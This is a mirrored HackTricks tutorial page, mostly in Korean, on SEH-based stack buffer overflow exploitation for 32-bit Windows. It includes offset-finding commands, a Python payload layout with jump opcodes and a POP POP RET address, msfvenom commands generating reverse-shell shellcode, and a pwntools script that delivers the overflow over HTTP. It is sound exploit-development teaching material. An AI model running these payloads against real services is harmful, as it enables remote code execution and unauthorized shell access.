mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
151 lines
7.1 KiB
Markdown
151 lines
7.1 KiB
Markdown
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
SEH-based exploitation은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법이다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때
|
||
|
||
- nSEH: 다음 SEH 레코드에 대한 포인터, and
|
||
- SEH: 예외 처리기 함수에 대한 포인터
|
||
|
||
공격자는 다음 방법으로 실행 제어를 획득할 수 있다:
|
||
|
||
1) 예외가 발생했을 때 gadget이 공격자가 제어하는 바이트로 리턴하도록, 보호되지 않은 모듈의 POP POP RET gadget 주소로 SEH를 설정하고, 그리고
|
||
2) nSEH를 사용해 (대개 짧은 점프) 큰 오버플로잉 버퍼 내의 shellcode로 실행을 리다이렉트한다.
|
||
|
||
이 기법은 32-bit 프로세스(x86)에 특화되어 있다. 최신 시스템에서는 gadget을 위해 SafeSEH와 ASLR이 없는 모듈을 선호한다. 일반적인 금지 문자는 C-strings와 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF)를 포함한다.
|
||
|
||
---
|
||
|
||
## 정확한 오프셋 찾기 (nSEH / SEH)
|
||
|
||
- 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인한다 (예: x32dbg/x64dbg에서 SEH view 확인).
|
||
- 오버플로잉 데이터로 cyclic pattern을 보내고, nSEH와 SEH에 위치한 두 dword의 오프셋을 계산한다.
|
||
|
||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||
```bash
|
||
# generate pattern (any tool is fine)
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||
# or
|
||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||
|
||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||
# ➜ offsets example: nSEH=660, SEH=664
|
||
```
|
||
해당 위치에 마커를 배치하여 검증하세요(예: nSEH=b"BB", SEH=b"CC"). 충돌을 재현 가능하게 하려면 총 길이를 일정하게 유지하세요.
|
||
|
||
---
|
||
|
||
## Choosing a POP POP RET (SEH gadget)
|
||
|
||
SEH 프레임을 풀고 nSEH 바이트로 되돌아가기 위해 POP POP RET 시퀀스가 필요합니다. SafeSEH가 없는 모듈에서 찾고, 가능하면 ASLR도 비활성화된 모듈을 선택하세요:
|
||
|
||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||
|
||
리틀엔디언으로 썼을 때 badchars가 포함되지 않는 주소를 선택하세요(예: `p32(0x004094D8)`). 보호 기능이 허용된다면 취약 바이너리 내부의 gadgets를 우선 선택하세요.
|
||
|
||
---
|
||
|
||
## Jump-back technique (short + near jmp)
|
||
|
||
nSEH는 4바이트에 불과하므로 최대 2바이트 short jump(`EB xx`)와 패딩만 들어갑니다. 버퍼 시작으로 수백 바이트를 되돌아가야 한다면, nSEH 바로 앞에 5바이트 near jump를 두고 nSEH의 short jump로 그 점프에 연결하세요.
|
||
|
||
nasmshell에서:
|
||
```text
|
||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||
E967FDFFFF
|
||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||
EBF6
|
||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||
E96FFDFFFF
|
||
```
|
||
nSEH가 offset 660에 있는 1000-byte payload용 레이아웃 아이디어:
|
||
```python
|
||
buffer_length = 1000
|
||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||
payload += b"D" * (buffer_length - len(payload))
|
||
```
|
||
실행 흐름:
|
||
- 예외가 발생하고 디스패처가 덮어쓴 SEH를 사용한다.
|
||
- POP POP RET가 언와인드되어 우리의 nSEH로 진입한다.
|
||
- nSEH가 `jmp short -8`를 실행하여 5바이트 near jump로 들어간다.
|
||
- Near jump는 NOP sled + shellcode가 위치한 버퍼의 시작 지점에 도달한다.
|
||
|
||
---
|
||
|
||
## Bad characters
|
||
|
||
전체 badchar 문자열을 생성하여 크래시 후 스택 메모리를 비교하고, 타깃 파서가 변형하는 바이트는 제거한다. HTTP-based overflows의 경우, `\x00\x0a\x0d`는 거의 항상 제외된다.
|
||
```python
|
||
badchars = bytes([x for x in range(1,256)])
|
||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||
```
|
||
---
|
||
|
||
## Shellcode 생성 (x86)
|
||
|
||
msfvenom을 당신의 badchars와 함께 사용하세요. 작은 NOP sled은 착지 편차를 허용하는 데 도움이 됩니다.
|
||
```bash
|
||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||
-b "\x00\x0a\x0d" -f python -v sc
|
||
```
|
||
즉석에서 생성하는 경우, hex 형식은 Python에서 임베드하고 unhex하기에 편리합니다:
|
||
```bash
|
||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||
-b "\x00\x0a\x0d" -f hex
|
||
```
|
||
---
|
||
|
||
## Delivering over HTTP (precise CRLF + Content-Length)
|
||
|
||
취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLFs와 Content-Length를 가진 raw request를 만들어 서버가 넘쳐흐르는 전체 본문을 읽도록 하라.
|
||
```python
|
||
# pip install pwntools
|
||
from pwn import remote
|
||
host, port = "<TARGET_IP>", 8080
|
||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||
req = f"""POST / HTTP/1.1
|
||
Host: {host}:{port}
|
||
User-Agent: curl/8.5.0
|
||
Accept: */*
|
||
Content-Length: {len(body)}
|
||
Connection: close
|
||
|
||
""".replace('\n','\r\n').encode() + body
|
||
p = remote(host, port)
|
||
p.send(req)
|
||
print(p.recvall(timeout=0.5))
|
||
p.close()
|
||
```
|
||
---
|
||
|
||
## 도구
|
||
|
||
- x32dbg/x64dbg를 사용해 SEH 체인을 관찰하고 충돌을 분류/분석하기 위해.
|
||
- ERC.Xdbg (x64dbg 플러그인)으로 SEH gadgets를 열거하기 위해: `ERC --SEH`.
|
||
- 대안으로 Mona: `!mona modules`, `!mona seh`.
|
||
- nasmshell로 short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
|
||
- pwntools로 정밀한 네트워크 페이로드를 제작하기 위해.
|
||
|
||
---
|
||
|
||
## 참고 및 주의사항
|
||
|
||
- x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하므로 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
|
||
- SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선 사용하십시오; 그렇지 않으면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
|
||
- 충돌 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.
|
||
|
||
## References
|
||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|